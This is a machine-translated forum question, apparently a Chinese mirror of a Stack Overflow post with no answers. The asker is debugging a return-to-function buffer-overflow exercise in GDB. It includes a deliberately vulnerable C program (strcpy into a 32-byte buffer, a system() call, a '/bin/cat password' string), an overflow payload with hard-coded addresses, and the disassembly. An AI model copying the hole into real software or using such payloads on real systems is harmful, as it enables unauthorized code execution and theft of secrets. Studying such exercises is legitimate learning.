如何修复GDB中的“找不到订单”错误

时间:2019-07-04 21:37:28

标签: c gdb overflow buffer-overflow

我正在尝试执行缓冲区溢出操作,该溢出操作会操纵程序的流程以调用通常不被调用的函数。 (效果很好) 另外,在该功能中,有一个打印函数可以打印一个字符串,我还应将其中的参数更改为包含目标路径的变量。

我已经成功更改了程序流程,可以调用print方法。但是没有正确的论据。我试图插入变量的地址(通过'info address cmd'找到),但这不起作用。

我在打印之前先看过堆栈,它应该可以工作...

C代码:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

char cmd[] = "/bin/cat password";

void target()
{
    system("/bin/echo 'Have a nice day!'");
}

void copy(char *str)
{
    char buf[32];
    strcpy(buf, str);
}

int main(int argc, char *argv[])
{
    if (argc < 2)
        return -1;

    copy(argv[1]);

    return 0;
}

我的论点:

  

(gdb)设置args`python -c“ print'7'* 44 +'\ x49 \ x84 \ x04 \ x08'+   '\ x60 \ x3a \ xf7 \ xb7'“`

最后4个字符是变量cmd的地址。

绝望:

(gdb) disass
Dump of assembler code for function target:
   0x0804843b <+0>: push   ebp
   0x0804843c <+1>: mov    ebp,esp
   0x0804843e <+3>: sub    esp,0x8
   0x08048441 <+6>: sub    esp,0xc
   0x08048444 <+9>: push   0x8048530
=> 0x08048449 <+14>:    call   0x8048310 <system@plt>
   0x0804844e <+19>:    add    esp,0x10
   0x08048451 <+22>:    nop
   0x08048452 <+23>:    leave  
   0x08048453 <+24>:    ret    
End of assembler dump.

我在0x08048444处设置了一个断点(我也更改了参数,以便调用该参数)。然后,我检查了堆栈并做了一个nexti。我再次检查,发现0x8048530被推入其中(类似于“祝你有美好的一天!”(我想)。

所以我的计划是直接转到0x08048449并添加另一个0xb7f73a60,即cmd的地址。用我选择的地址代替推送(应该打印并显示密码)

但是输出是:

  

sh:1:订单:未找到

所以我不知道我的错误在哪里。地址错了吗? (我试图用一些垃圾来代替参数,例如:

  

(gdb)设置args`python -c“ print'7'* 44 +'\ x49 \ x84 \ x04 \ x08'+   '\ x20 \ xa0 \ x04 \ x08'“

并得到:

  

sh:1:����:未找到

因此错误消息中印有字符本身。 我试图连续2天解决这个问题。谷歌搜索错误并没有为我带来任何有用的结果。 任何帮助和建议表示赞赏:)

0 个答案:

没有答案